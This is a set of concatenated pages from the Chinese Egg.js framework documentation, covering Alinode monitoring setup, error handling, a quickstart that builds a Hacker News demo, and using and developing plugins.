[Node.js 性能平台](https://www.aliyun.com/product/nodejs)是面向所有 Node.js 应用提供性能监控、安全提醒、故障排查、性能优化等服务的整体性解决方案。它提供完善的工具链和服务，协助开发者快速发现和定位线上问题。

#### 安装 Runtime

Alinode Runtime 可以直接替换掉 Node.js Runtime，对应版本参见[文档](https://help.aliyun.com/knowledge_detail/60811.html)。

全局安装方式参见[文档](https://help.aliyun.com/document_detail/60338.html)。

有时候，同时部署多个项目，期望多版本共存时，则可以把 Runtime 安装到当前项目：

```bash
$ npm i nodeinstall -g
$ nodeinstall --install-alinode ^3
```

[nodeinstall]会把对应版本的 `alinode` 安装到项目的 `node_modules` 目录下。

> 注意：打包机的操作系统和线上系统需保持一致，否则对应的 Runtime 不一定能正常运行。

#### 安装及配置

我们提供了[egg-alinode]来快速接入，无需安装 `agenthub` 等额外的常驻服务。

**安装依赖**：

```bash
$ npm i egg-alinode --save
```

**开启插件**：

```js
// config/plugin.js
exports.alinode = {
  enable: true,
  package: 'egg-alinode',
};
```

**配置**：

```js
// config/config.default.js
exports.alinode = {
  // 从 `Node.js 性能平台` 获取对应的接入参数
  appid: '<YOUR_APPID>',
  secret: '<YOUR_SECRET>',
};
```

### 启动应用

`npm scripts` 配置的 `start` 指令无需改变，通过 `egg-scripts` 即可。

启动命令需使用 `npm start`，因为 `npm scripts` 执行时会把 `node_module/.bin` 目录加入 `PATH`，故会优先使用当前项目执行的 Node 版本。

启动后会看到 master 日志包含以下内容：

```bash
$ [master] node version v8.9.4
$ [master] alinode version v3.8.4
$ [Tue Aug 06 2019 15:54:25 GMT+0800 (China Standard Time)] Connecting to wss://agentserver.node.aliyun.com:8080...
$ [Tue Aug 06 2019 15:54:26 GMT+0800 (China Standard Time)] agent register ok.
```

其中`agent register ok.`表示配置的 `egg-alinode` 正确连接上了 Node.js 性能平台服务器。

#### 访问控制台

控制台地址：<https://node.console.aliyun.com>

[egg-cluster]: https://github.com/eggjs/egg-cluster

[egg-scripts]: https://github.com/eggjs/egg-scripts

[egg-alinode]: https://github.com/eggjs/egg-alinode

[pm2]: https://github.com/Unitech/pm2

[nodeinstall]: https://github.com/cnpm/nodeinstall

---

---
url: /zh-CN/core/error-handling.md
---
# 异常处理

## 异常捕获

得益于框架支持的异步编程模型，错误完全可以用 `try catch` 来捕获。在编写应用代码时，所有地方都可以直接用 `try catch` 来捕获异常。

```js
// app/service/test.js
try {
  const res = await this.ctx.curl('http://eggjs.com/api/echo', {
    dataType: 'json',
  });
  if (res.status !== 200) throw new Error('response status is not 200');
  return res.data;
} catch (err) {
  this.logger.error(err);
  return {};
}
```

按照正常代码写法，所有的异常都可以用这种方式进行捕获并处理，但是一定要注意一些特殊的写法可能带来的问题。举个不太正式的比方，我们的代码全部都在一个异步调用链上，所有的异步操作都通过 `await` 串接起来了。但是，只要有一个地方跳出了异步调用链，异常就无法被捕获。

```js
// app/controller/home.js
class HomeController extends Controller {
  async buy() {
    const request = {};
    const config = await this.ctx.service.trade.buy(request);
    // 下单后需要进行一次核对，且不阻塞当前请求
    setImmediate(() => {
      this.ctx.service.trade
        .check(request)
        .catch((err) => this.ctx.logger.error(err));
    });
  }
}
```

在这个场景下，如果 `service.trade.check` 的代码出现问题，导致执行时抛出异常，框架虽可以在最外层通过 `try catch` 统一捕获错误，但由于 `setImmediate` 中代码『跳出』了异步链，错误就无法被捉到了。所以开发时需要特别注意。

幸运的是，框架针对类似场景提供了 `ctx.runInBackground(scope)` 辅助方法，通过它封装了另一个异步链，所有在这个 `scope` 内的错误都会被捕获。

```js
class HomeController extends Controller {
  async buy() {
    const request = {};
    const config = await this.ctx.service.trade.buy(request);
    // 下单后需要进行一次核对，且不阻塞当前请求
    this.ctx.runInBackground(async () => {
      // 这里的异常都会被 Background 捕获，并打印错误日志
      await this.ctx.service.trade.check(request);
    });
  }
}
```

**为确保异常可追踪，所有抛出的异常必须是 `Error` 类型，因为只有 `Error` 类型才具备堆栈信息，便于问题定位。**

## 框架层统一异常处理

框架通过 [@eggjs/onerror](https://github.com/eggjs/egg/tree/next/plugins/onerror) 插件提供统一的错误处理机制。此机制将捕获所有处理方法（Middleware、Controller、Service）中抛出的任何异常，并根据请求预期的响应类型返回不同的错误内容。

| 请求格式需求 | 环境             | `errorPageUrl` 配置 | 返回内容                              |
| ------------ | ---------------- | ------------------- | ------------------------------------- |
| HTML & TEXT  | local & unittest | -                   | onerror 提供的详细错误页面            |
| HTML & TEXT  | 其他             | 是                  | 重定向至 `errorPageUrl`               |
| HTML & TEXT  | 其他             | 否                  | 简易错误页（不含错误信息）            |
| JSON & JSONP | local & unittest | -                   | 详细错误信息的 JSON 或 JSONP 响应     |
| JSON & JSONP | 其他             | -                   | 不含详细错误信息的 JSON 或 JSONP 响应 |

### errorPageUrl

配置了 `errorPageUrl` 后，线上应用 HTML 页面异常时将重定向至该地址。

```js
// config/config.default.js
module.exports = {
  onerror: {
    // 线上发生异常时，重定向到此页面
    errorPageUrl: '/50x.html',
  },
};
```

## 自定义统一异常处理

虽然框架提供了默认的异常处理机制，但应用开发中往往需自定义异常响应，特别是接口开发。onerror 插件支持自定义配置错误处理方法，允许覆盖默认方法。

```js
// config/config.default.js
module.exports = {
  onerror: {
    all(err, ctx) {
      // 定义所有响应类型的错误处理方法
      // 定义了 config.all 后，其他错误处理不再生效
      ctx.body = 'error';
      ctx.status = 500;
    },
    html(err, ctx) {
      // HTML 错误处理
      ctx.body = '<h3>error</h3>';
      ctx.status = 500;
    },
    json(err, ctx) {
      // JSON 错误处理
      ctx.body = { message: 'error' };
      ctx.status = 500;
    },
    jsonp(err, ctx) {
      // JSONP 错误一般不需特殊处理，自动调用 JSON 方法
    },
  },
};
```

框架并不会将服务端返回的 404 状态当做异常来处理，但是框架提供了当响应为 404 且没有返回 body 时的默认响应。

* 当请求被框架判定为需要 JSON 格式的响应时，会返回一段 JSON：

```json
{ "message": "Not Found" }
```

* 当请求被框架判定为需要 HTML 格式的响应时，会返回一段 HTML：

```html
<h1>404 Not Found</h1>
```

框架支持通过配置，将默认的 HTML 请求的 404 响应重定向到指定的页面。

```js
// config/config.default.js
module.exports = {
  notfound: {
    pageUrl: '/404.html',
  },
};
```

### 自定义 404 响应

在一些场景下，我们需要自定义服务器 404 时的响应。和自定义异常处理一样，我们也只需要加入一个中间件即可对 404 做统一处理：

```js
// app/middleware/notfound_handler.js
module.exports = () => {
  return async function notFoundHandler(ctx, next) {
    await next();
    if (ctx.status === 404 && !ctx.body) {
      if (ctx.acceptJSON) {
        ctx.body = { error: 'Not Found' };
      } else {
        ctx.body = '<h1>Page Not Found</h1>';
      }
    }
  };
};
```

在配置中引入中间件：

```js
// config/config.default.js
module.exports = {
  middleware: ['notfoundHandler'],
};
```

---

---
url: /zh-CN/intro/quickstart.md
---
# 快速入门

本文将从实例的角度，一步步地搭建出一个 Egg.js 应用，让你能快速地入门 Egg.js。

## 环境准备

* 操作系统：支持 macOS、Linux、Windows
* 运行环境：建议选择 [LTS 版本][node.js]，最低要求 22.18.0。

## 快速初始化

我们推荐直接使用脚手架。只需几条简单指令，即可快速生成项目：

```bash
npx create-egg@beta --template tegg hackernews-tegg

cd hackernews-tegg
npm install
```

启动项目：

```bash
npm run dev

open http://localhost:7001
```

## 逐步搭建

通常你可以通过上一节的方式，使用 `npx create-egg@beta` 快速选择适合对应业务模型的脚手架，快速启动 Egg.js 项目的开发。

但为了让大家更好地了解 Egg.js，接下来，我们将跳过脚手架，手动一步步地搭建出一个 [Hacker News](https://github.com/eggjs/examples/tree/master/hackernews-tegg)。

**注意：实际项目中，我们推荐使用上一节的脚手架直接初始化。**

![Egg HackerNews](https://cloud.githubusercontent.com/assets/227713/22960991/812999bc-f37d-11e6-8bd5-a96ca37d0ff2.png)

### 初始化项目

先来初始化下目录结构：

```bash
mkdir hackernews-tegg
cd hackernews-tegg
npm init
npm i egg
npm i @eggjs/bin --save-dev
```

添加 `npm scripts` 到 `package.json`：

```json
{
  "name": "hackernews-tegg",
  "scripts": {
    "dev": "egg-bin dev"
  }
}
```

### 编写 Controller

如果你熟悉 Web 开发或 MVC，肯定猜到我们第一步需要编写的是 [HTTP Controller](../basics/httpcontroller.md)。

```js
// app/controller/home.js
const Controller = require('egg').Controller;

class HomeController extends Controller {
  async index() {
    this.ctx.body = 'Hello world';
  }
}

module.exports = HomeController;
```

配置路由映射：

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);
};
```

加一个[配置文件](../basics/config.md)：

```js
// config/config.default.js
exports.keys = '<此处改为你自己的 Cookie 安全字符串>';
```

此时目录结构如下：

```bash
egg-example
├── app
│   ├── controller
│   │   └── home.js
│   └── router.js
├── config
│   └── config.default.js
└── package.json
```

完整的目录结构规范参见[目录结构](../basics/structure.md)。

好，现在可以启动应用来体验下：

```bash
$ npm run dev
$ open http://localhost:7001
```

### 静态资源

Egg 内置了 [static][@eggjs/static] 插件，线上环境建议部署到 CDN，无需该插件。

static 插件默认映射 `/public/* -> app/public/*` 目录。

此处，我们把静态资源都放到 `app/public` 目录即可：

```bash
app/public
├── css
│   └── news.css
└── js
    ├── lib.js
    └── news.js
```

### 模板渲染

绝大多数情况下，我们都需要读取数据后渲染模板，然后呈现给用户。因此，我们需要引入对应的模板引擎。

框架并不强制你使用某种模板引擎，只是约定了 [View 插件开发规范](../advanced/view-plugin.md)，开发者可以引入不同的插件来实现差异化定制。

更多用法参见 [View](../core/view.md)。

在本例中，我们使用 Nunjucks 来渲染。首先，安装对应的插件 `egg-view-nunjucks`：

```bash
$ npm i egg-view-nunjucks --save
```

开启插件：

```js
// config/plugin.js
exports.nunjucks = {
  enable: true,
  package: 'egg-view-nunjucks',
};
```

```js
// config/config.default.js
exports.keys = <此处改为你自己的 Cookie 安全字符串>;
// 添加 view 配置项
exports.view = {
  defaultViewEngine: 'nunjucks',
  mapping: {
    '.tpl': 'nunjucks',
  },
};
```

**注意：是 `config` 目录，不是 `app/config`！**

为列表页编写模板文件，一般放置在 `app/view` 目录下：

```html
<!-- app/view/news/list.tpl -->
<!DOCTYPE html>
<html>
  <head>
    <title>Hacker News</title>
    <link rel="stylesheet" href="/public/css/news.css" type="text/css" />
  </head>
  <body>
    <ul class="news-view view">
      {% for item in list %}
      <li class="item">
        <a href="{{ item.url }}">{{ item.title }}</a>
      </li>
      {% endfor %}
    </ul>
  </body>
</html>
```

添加 Controller 和 Router：

```js
// app/controller/news.js
const Controller = require('egg').Controller;

class NewsController extends Controller {
  async list() {
    const dataList = {
      list: [
        { id: 1, title: 'This is news 1', url: '/news/1' },
        { id: 2, title: 'This is news 2', url: '/news/2' },
      ],
    };
    await this.ctx.render('news/list.tpl', dataList);
  }
}

module.exports = NewsController;

// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);
  router.get('/news', controller.news.list);
};
```

在浏览器中启动并访问 <http://localhost:7001/news> 即可看到渲染后的页面。

**提示：** 开发期默认开启了 [development][@eggjs/development] 插件，修改后端代码后，会自动重启 Worker 进程。

### 编写 Service

在实际应用中，Controller 一般不会自己产出数据，也不会包含复杂的逻辑，复杂的过程应抽象为业务逻辑层 [Service](../basics/service.md)。

我们来添加一个 Service 抓取 [Hacker News](https://github.com/HackerNews/API) 的数据，如下：

```js
// app/service/news.js
const Service = require('egg').Service;

class NewsService extends Service {
  async list(page = 1) {
    // read config
    const { serverUrl, pageSize } = this.config.news;

    // use build-in http client to GET hacker-news api
    const { data: idList } = await this.ctx.curl(
      `${serverUrl}/topstories.json`,
      {
        data: {
          orderBy: '"$key"',
          startAt: `"${pageSize * (page - 1)}"`,
          endAt: `"${pageSize * page - 1}"`,
        },
        dataType: 'json',
      },
    );

    // parallel GET detail
    const newsList = await Promise.all(
      Object.keys(idList).map((key) => {
        const url = `${serverUrl}/item/${idList[key]}.json`;
        return this.ctx.curl(url, { dataType: 'json' });
      }),
    );
    return newsList.map((res) => res.data);
  }
}

module.exports = NewsService;
```

> 框架提供了内置的 [HttpClient](../core/httpclient.md) 来方便开发者使用 HTTP 请求。

然后稍微修改下之前的 Controller：

```js
// app/controller/news.js
const Controller = require('egg').Controller;

class NewsController extends Controller {
  async list() {
    const ctx = this.ctx;
    const page = ctx.query.page || 1;
    const newsList = await ctx.service.news.list(page);
    await ctx.render('news/list.tpl', { list: newsList });
  }
}

module.exports = NewsController;
```

还需增加 `app/service/news.js` 中读取到的配置：

```js
// config/config.default.js
// 添加 news 的配置项
exports.news = {
  pageSize: 5,
  serverUrl: 'https://hacker-news.firebaseio.com/v0',
};
```

### 编写扩展

遇到一个小问题，我们的新闻时间数据是 UnixTime 格式的，我们希望显示为便于阅读的格式。

框架提供了一种快速扩展的方式，只需在 `app/extend` 目录下提供扩展脚本即可，具体参见[扩展](../basics/extend.md)。

在这里，我们可以使用 View 插件支持的 Helper 来实现：

```bash
$ npm i moment --save
```

```js
// app/extend/helper.js
const moment = require('moment');
exports.relativeTime = (time) => moment(new Date(time * 1000)).fromNow();
```

在模板里面使用：

```html
<!-- app/view/news/list.tpl -->
{{ helper.relativeTime(item.time) }}
```

### 编写 Middleware

假设有个需求：我们的新闻站点，禁止百度爬虫访问。

聪明的同学们一定能很快想出可以通过 [Middleware](../basics/middleware.md) 判断 User-Agent 的方法，如下：

```js
// app/middleware/robot.js
// options === app.config.robot
module.exports = (options, app) => {
  return async function robotMiddleware(ctx, next) {
    const source = ctx.get('user-agent') || '';
    const match = options.ua.some((ua) => ua.test(source));
    if (match) {
      ctx.status = 403;
      ctx.message = 'Go away, robot.';
    } else {
      await next();
    }
  };
};

// config/config.default.js
// add middleware robot
exports.middleware = ['robot'];
// robot's configurations
exports.robot = {
  ua: [/Baiduspider/i],
};
```

现在可以使用 `curl http://localhost:7001/news -A "Baiduspider"` 看看效果。

更多参见[中间件](../basics/middleware.md)文档。

### 配置文件

写业务的时候，不可避免的需要有配置文件。框架提供了强大的配置合并管理功能：

* 支持按环境变量加载不同的配置文件，例如 `config.local.js`、`config.prod.js` 等。
* 应用、插件、框架都可以配置自己的配置文件，框架将按顺序合并加载。
* 具体合并逻辑可参见[配置文件](../basics/config.md#配置加载顺序)。

```js
// config/config.default.js
exports.robot = {
  ua: [/curl/i, /Baiduspider/i],
};

// config/config.local.js
// only read at development mode, will override default
exports.robot = {
  ua: [/Baiduspider/i],
};

// app/service/some.js
const Service = require('egg').Service;

class SomeService extends Service {
  async list() {
    const rule = this.config.robot.ua;
  }
}

module.exports = SomeService;
```

### 单元测试

单元测试非常重要，框架也提供了 [egg-bin] 来帮开发者无痛地编写测试。

测试文件应该放在项目根目录下的 `test` 目录内，并以 `test.js` 为后缀名。也就是 `{app_root}/test/**/*.test.js`。

```js
// test/app/middleware/robot.test.js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/app/middleware/robot.test.js', () => {
  it('should block robot', () => {
    return app
      .httpRequest()
      .get('/')
      .set('User-Agent', 'Baiduspider')
      .expect(403);
  });
});
```

然后配置依赖和 `npm scripts`：

```json
{
  "scripts": {
    "test": "egg-bin test",
    "cov": "egg-bin cov"
  }
}
```

执行以下命令安装依赖：

```bash
npm i -D @eggjs/mock
```

执行测试：

```bash
npm test
```

就这么简单。更多请参见[单元测试](../core/unittest.md)。

## 后记

短短几章内容，只能讲解 Egg 的冰山一角。我们建议开发者继续阅读其他章节：

* 关于骨架类型，参见[骨架说明](../tutorials/index.md)。
* 提供了强大的扩展机制，参见[插件](../basics/plugin.md)。
* 一个大规模的团队需要遵循一定的约束和约定。在 Egg 里，我们建议封装适合自己团队的上层框架，详见[框架开发](../advanced/framework.md)。
* 这是一个渐进式的框架，代码的共建、复用和下沉竟然可以如此无痛。建议阅读[渐进式开发](../intro/progressive.md)。
* 写单元测试其实是一件很简单的事，Egg 提供了非常多的配套辅助。我们强烈建议大家采用测试驱动开发，具体参见[单元测试](../core/unittest.md)。

[node.js]: http://nodejs.org

[egg-bin]: https://github.com/eggjs/egg/tree/master/tools/egg-bin

[@eggjs/static]: https://github.com/eggjs/egg/tree/master/plugins/static

[@eggjs/development]: https://github.com/eggjs/egg/tree/master/plugins/development

[@eggjs/view-nunjucks]: https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks

[urllib]: https://www.npmjs.com/package/urllib

[nunjucks]: https://mozilla.github.io/nunjucks/

---

---
url: /zh-CN/basics/plugin.md
---
# 插件

插件机制是我们框架的一大特色。它不但可以保证框架核心的足够精简、稳定、高效，还可以促进业务逻辑的复用，生态圈的形成。有人可能会问了：

* Koa 已经有了中间件的机制，为什么还要插件呢？
* 中间件、插件、应用之间是什么关系，它们之间有什么区别？
* 我该如何使用一个插件？
* 如何编写一个插件？

接下来我们就来逐一讨论。

## 为什么要插件

我们在使用 Koa 中间件过程中发现了下面一些问题：

1. 中间件加载其实是有先后顺序的，但是中间件自身却无法管理这种顺序，只能交给使用者。这样其实非常不友好，一旦顺序不对，结果可能有天壤之别。
2. 中间件的定位是拦截用户请求，并在它前后做一些事情，例如：鉴权、安全检查、访问日志等等。但实际情况是，有些功能是和请求无关的，例如：定时任务、消息订阅、后台逻辑等等。
3. 有些功能包含非常复杂的初始化逻辑，需要在应用启动的时候完成。这显然也不适合放到中间件中去实现。

综上所述，我们需要一套更加强大的机制，来管理、编排那些相对独立的业务逻辑。

### 中间件、插件、应用的关系

一个插件其实就是一个“迷你的应用”，和应用（app）几乎一样：

* 它包含了 [Service](./service.md)、[中间件](./middleware.md)、[配置](./config.md)、[框架扩展](./extend.md)等等。
* 它没有独立的 [Router](./router.md) 和 [Controller](./controller.md)。
* 它没有 `plugin.js`，只能声明和其他插件的依赖，而**不能决定**其他插件的开启与否。

他们的关系是：

* 应用可以直接引入 Koa 的中间件。
* 当遇到上一节提到的场景时，应用需引入插件。
* 插件本身可以包含中间件。
* 多个插件可以包装为一个[上层框架](../advanced/framework.md)。

## 使用插件

插件通常通过 npm 模块的方式进行复用：

```bash
npm i egg-mysql --save
```

**注意：我们推荐通过 `^` 的方式引入依赖，并且强烈不建议锁定版本。**

```json
{
  "dependencies": {
    "egg-mysql": "^3.0.0"
  }
}
```

接着，需要在应用或框架的 `config/plugin.js` 中声明：

```js
// config/plugin.js
// 使用 mysql 插件
exports.mysql = {
  enable: true,
  package: 'egg-mysql',
};
```

这样就可以直接使用插件提供的功能：

```js
app.mysql.query(sql, values);
```

### 参数介绍

`plugin.js` 中的每个配置项支持：

* `{Boolean} enable` - 是否开启此插件，默认为 true
* `{String} package` - `npm` 模块名称，通过 `npm` 模块形式引入插件
* `{String} path` - 插件绝对路径，与 package 配置互斥
* `{Array} env` - 只有在指定运行环境才能开启，会覆盖该插件自身 `package.json` 中的配置

### 开启和关闭

在上层框架内置的插件，应用在使用时，可以不配置 package 或者 path，只需指定 enable 即可：

```js
// 对于内置插件，可采用以下简洁方式开启或关闭
exports.onerror = false;
```

### 根据环境配置

同时，我们还支持 `plugin.{env}.js` 的模式，会根据[运行环境](../basics/env.md)加载插件配置。

比如，如果定义了一个只在开发环境使用的插件 `egg-dev`，希望只在本地环境加载，可以将其安装到 `devDependencies` 中。

```js
// npm i egg-dev --save-dev
// package.json
{
  "devDependencies": {
    "egg-dev": "*"
  }
}
```

接下来，在 `plugin.local.js` 中声明：

```js
// config/plugin.local.js
exports.dev = {
  enable: true,
  package: 'egg-dev',
};
```

这样，在生产环境下执行 `npm i --production` 时，就不需要下载 `egg-dev` 包了。

**注意:**

* `plugin.default.js` 不存在
* **只能在应用层使用，框架层请勿使用。**

### package 和 path

* `package` 是 `npm` 方式引入，也是最常见的引入方式
* `path` 是绝对路径引入，例如应用内部提取了一个插件，但尚未发布至 npm；或者是应用自行改写了框架的某些插件
* 关于这两种方式的使用场景，可参见[渐进式开发](../intro/progressive.md)文档。

```js
// config/plugin.js
const path = require('path');
exports.mysql = {
  enable: true,
  path: path.join(__dirname, '../lib/plugin/egg-mysql'),
};
```

## 插件配置

插件一般会包含自己的默认配置。应用开发者可以在 `config.default.js` 中覆盖对应的配置：

```js
// config/config.default.js
exports.mysql = {
  client: {
    host: 'mysql.com',
    port: '3306',
    user: 'test_user',
    password: 'test_password',
    database: 'test',
  },
};
```

具体的合并规则可以参见[配置](./config.md)。

## 插件列表

* 框架默认内置了企业级应用[常用的插件](https://eggjs.org/zh-cn/plugins/)：
  * [onerror](https://github.com/eggjs/onerror) 统一异常处理
  * [session](https://github.com/eggjs/session) Session 实现
  * [i18n](https://github.com/eggjs/i18n) 多语言
  * [watcher](https://github.com/eggjs/watcher) 文件和文件夹监控
  * [multipart](https://github.com/eggjs/multipart) 文件流式上传
  * [security](https://github.com/eggjs/security) 安全
  * [development](https://github.com/eggjs/development) 开发环境配置
  * [logrotator](https://github.com/eggjs/logrotator) 日志切分
  * [schedule](https://github.com/eggjs/schedule) 定时任务
  * [static](https://github.com/eggjs/static) 静态服务器
  * [jsonp](https://github.com/eggjs/jsonp) jsonp 支持
  * [view](https://github.com/eggjs/egg-view) 模板引擎
* 更多社区的插件可以在 GitHub 上搜索 [egg-plugin](https://github.com/topics/egg-plugin)。

## 如何开发一个插件

参见文档：[插件开发](../advanced/plugin.md)。

---

---
url: /zh-CN/advanced/plugin.md
---
# 插件开发

插件机制是我们框架的一大特色。它不但可以保证框架核心的足够精简、稳定、高效，还可以促进业务逻辑的复用，生态圈的形成。有人可能会问:

* Koa 已经有了中间件的机制，为啥还要插件呢？
* 中间件、插件、应用它们之间是什么关系，有什么区别？
* 我该怎么使用一个插件？
* 如何编写一个插件？

在 [使用插件](../basics/plugin.md) 章节我们已经讨论过前几点，接下来我们来看看如何开发一个插件。

## 插件开发

### 使用脚手架快速开发

你可以直接使用 [egg-boilerplate-plugin] 脚手架来快速上手。

```bash
$ mkdir egg-hello && cd egg-hello
$ npm init egg --type=plugin
$ npm i
$ npm test
```

## 插件的目录结构

一个插件其实就是一个“迷你的应用”，下面展示的是一个插件的目录结构，和应用（app）几乎一样。

```plaintext
.egg-hello
├── package.json
├── app.js（可选）
├── agent.js（可选）
├── app
│   ├── extend（可选）
│   │   ├── helper.js（可选）
│   │   ├── request.js（可选）
│   │   ├── response.js（可选）
│   │   ├── context.js（可选）
│   │   ├── application.js（可选）
│   │   └── agent.js（可选）
│   ├── service（可选）
│   └── middleware（可选）
│       └── mw.js
├── config
│   ├── config.default.js
│   ├── config.prod.js
│   ├── config.test.js（可选）
│   ├── config.local.js（可选）
│   └── config.unittest.js（可选）
└── test
    └── middleware
        └── mw.test.js
```

那区别在哪儿呢？

1. 插件没有独立的 router 和 controller。这主要出于几点考虑：
   * 路由一般和应用强绑定的，不具备通用性。
   * 一个应用可能依赖很多个插件，如果插件支持路由可能会导致路由冲突。
   * 如果确实有统一路由的需求，可以考虑在插件里通过中间件来实现。

2. 插件需要在 `package.json` 中的 `eggPlugin` 节点指定插件特有的信息：
   * `{String} name` - 插件名（必须配置），具有唯一性，配置依赖关系时会指定依赖插件的 name。
   * `{Array} dependencies` - 当前插件强依赖的插件列表（如果依赖的插件没找到，应用启动失败）。
   * `{Array} optionalDependencies` - 当前插件的可选依赖插件列表（如果依赖的插件未开启，只会 warning，不会影响应用启动）。
   * `{Array} env` - 只有在指定运行环境才能开启，具体有哪些环境可以参考 [运行环境](../basics/env.md)。此配置是可选的，一般情况下都不需要配置。

     ```json
     {
       "name": "egg-rpc",
       "eggPlugin": {
         "name": "rpc",
         "dependencies": ["registry"],
         "optionalDependencies": ["vip"],
         "env": ["local", "test", "unittest", "prod"]
       }
     }
     ```

3. 插件没有 `plugin.js`：
   * `eggPlugin.dependencies` 只是用于声明依赖关系，而不是引入插件或开启插件。
   * 如果期望统一管理多个插件的开启和配置，可以在 [上层框架](./framework.md) 处理。

## 插件的依赖管理

和中间件不同，插件是自己管理依赖的。应用在加载所有插件前会预先从它们的 `package.json` 中读取 `eggPlugin > dependencies` 和 `eggPlugin > optionalDependencies` 节点，然后根据依赖关系计算出加载顺序，举个例子，下面三个插件的加载顺序就应该是 `c => b => a`。

```json
// plugin a
{
  "name": "egg-plugin-a",
  "eggPlugin": {
    "name": "a",
    "dependencies": ["b"]
  }
}

// plugin b
{
  "name": "egg-plugin-b",
  "eggPlugin": {
    "name": "b",
    "optionalDependencies": ["c"]
  }
}

// plugin c
{
  "name": "egg-plugin-c",
  "eggPlugin": {
    "name": "c"
  }
}
```

**注意：`dependencies` 和 `optionalDependencies` 的取值是另一个插件的 `eggPlugin.name`，而不是 `package name`。**

`dependencies` 和 `optionalDependencies` 是从 npm 借鉴来的概念，大多数情况下我们都使用 `dependencies`，这也是我们最推荐的依赖方式。那什么时候可以用 `optionalDependencies` 呢？大致就两种：

* 只在某些环境下才依赖，比如：一个鉴权插件，只在开发环境依赖一个 mock 数据的插件。
* 弱依赖，比如：A 依赖 B，但是如果没有 B，A 有相应的降级方案。

需要特别强调的是：如果采用 `optionalDependencies`，那么框架不会校验依赖的插件是否开启，它的作用仅仅是计算加载顺序。所以，这时候依赖方需要通过“接口探测”等方式来决定相应的处理逻辑。

## 插件能做什么？

上面给出了插件的定义，那插件到底能做什么？

### 扩展内置对象的接口

在插件相应的文件内对框架内置对象进行扩展，和应用一样：

* `app/extend/request.js` - 扩展 Koa#Request 类
* `app/extend/response.js` - 扩展 Koa#Response 类
* `app/extend/context.js` - 扩展 Koa#Context 类
* `app/extend/helper.js` - 扩展 Helper 类
* `app/extend/application.js` - 扩展 Application 类
* `app/extend/agent.js` - 扩展 Agent 类

### 插入自定义中间件

1. 首先在 `app/middleware` 目录下定义好中间件实现：

   ```js
   'use strict';

   const staticCache = require('koa-static-cache');
   const assert = require('assert');
   const mkdirp = require('mkdirp');

   module.exports = (options, app) => {
     assert.strictEqual(
       typeof options.dir,
       'string',
       'Must set `app.config.static.dir` when static plugin enable',
     );

     // 确保目录存在
     mkdirp.sync(options.dir);

     app.loggers.coreLogger.info(
       '[egg-static] starting static serve %s -> %s',
       options.prefix,
       options.dir,
     );

     return staticCache(options);
   };
   ```

2. 在 `app.js` 中将中间件插入到合适的位置（例如：下面将 static 中间件放到 bodyParser 之前）：

   ```js
   const assert = require('assert');

   module.exports = (app) => {
     // 将 static 中间件放到 bodyParser 之前
     const index = app.config.coreMiddleware.indexOf('bodyParser');
     assert(index >= 0, 'bodyParser 中间件必须存在');

     app.config.coreMiddleware.splice(index, 0, 'static');
   };
   ```

### 在应用启动时做一些初始化工作

* 我在启动前想读取一些本地配置：

  ```js
  // ${plugin_root}/app.js
  const fs = require('fs');
  const path = require('path');

  module.exports = (app) => {
    app.customData = fs.readFileSync(path.join(app.config.baseDir, 'data.bin'));

    app.coreLogger.info('Data read successfully');
  };
  ```

* 如果有异步启动逻辑，可以使用 `app.beforeStart` API：

  ```js
  // ${plugin_root}/app.js
  const MyClient = require('my-client');

  module.exports = (app) => {
    app.myClient = new MyClient();
    app.myClient.on('error', (err) => {
      app.coreLogger.error(err);
    });
    app.beforeStart(async () => {
      await app.myClient.ready();
      app.coreLogger.info('My client is ready');
    });
  };
  ```

* 也可以添加 agent 启动逻辑，使用 `agent.beforeStart` API：

  ```js
  // ${plugin_root}/agent.js
  const MyClient = require('my-client');

  module.exports = (agent) => {
    agent.myClient = new MyClient();
    agent.myClient.on('error', (err) => {
      agent.coreLogger.error(err);
    });
    agent.beforeStart(async () => {
      await agent.myClient.ready();
      agent.coreLogger.info('My client is ready');
    });
  };
  ```

### 设置定时任务

1. 在 `package.json` 里设置依赖 schedule 插件

   ```json
   {
     "name": "your-plugin",
     "eggPlugin": {
       "name": "your-plugin",
       "dependencies": ["schedule"]
     }
   }
   ```

2. 在 `${plugin_root}/app/schedule/` 目录下新建文件，编写你的定时任务。

   ```js
   exports.schedule = {
     type: 'worker',
     cron: '0 0 3 * * *',
     // interval: '1h',
     // immediate: true
   };

   exports.task = async (ctx) => {
     // 你的逻辑代码
   };
   ```

### 全局实例插件的最佳实践

许多插件的目的都是将一些已有的服务引入到框架中，如`egg-mysql`、`egg-oss`。它们都需要在 app 上创建对应的实例。而在开发这一类插件时，我们发现存在一些普遍性的问题：

* 在一个应用中同时使用同一个服务的不同实例（连接到两个不同的 MySQL 数据库）。
* 从其他服务获取配置后动态初始化连接（从配置中心获取到 MySQL 服务地址后再建立连接）。

如果让插件各自实现，可能会出现各种奇怪的配置方式和初始化方式，所以框架提供了 `app.addSingleton(name, creator)` 方法来统一这类服务的创建。需要注意的是，在使用 `app.addSingleton(name, creator)` 方法时，配置文件中一定要有 `client` 或者 `clients` 为 key 的配置。

#### 插件写法

以下代码展示了如何编写这类插件，它是对 `egg-mysql` 插件实现的简化：

```js
// egg-mysql/app.js
module.exports = (app) => {
  app.addSingleton('mysql', createMysql);
};

/**
 * @param  {Object} config   框架处理后的配置项，如应用配置了多个 MySQL 实例，每个配置项会分别传入并多次调用 createMysql
 * @param  {Application} app 当前应用
 * @return {Object}          返回创建的 MySQL 实例
 */
function createMysql(config, app) {
  assert(config.host && config.port && config.user && config.database);
  // 创建实例
  const client = new Mysql(config);

  // 应用启动前检查
  app.beforeStart(async () => {
    const rows = await client.query('select now() as currentTime;');
    app.coreLogger.info(
      `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,
    );
  });

  return client;
}
```

初始化方法也支持 `async function`，便于有些需要异步获取配置文件的特殊插件：

```js
async function createMysql(config, app) {
  // 异步获取 mysql 配置
  const mysqlConfig = await app.configManager.getMysqlConfig(config.mysql);
  assert(
    mysqlConfig.host &&
      mysqlConfig.port &&
      mysqlConfig.user &&
      mysqlConfig.database,
  );
  // 创建实例
  const client = new Mysql(mysqlConfig);

  // 应用启动前检查
  const rows = await client.query('select now() as currentTime;');
  app.coreLogger.info(
    `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,
  );

  return client;
}
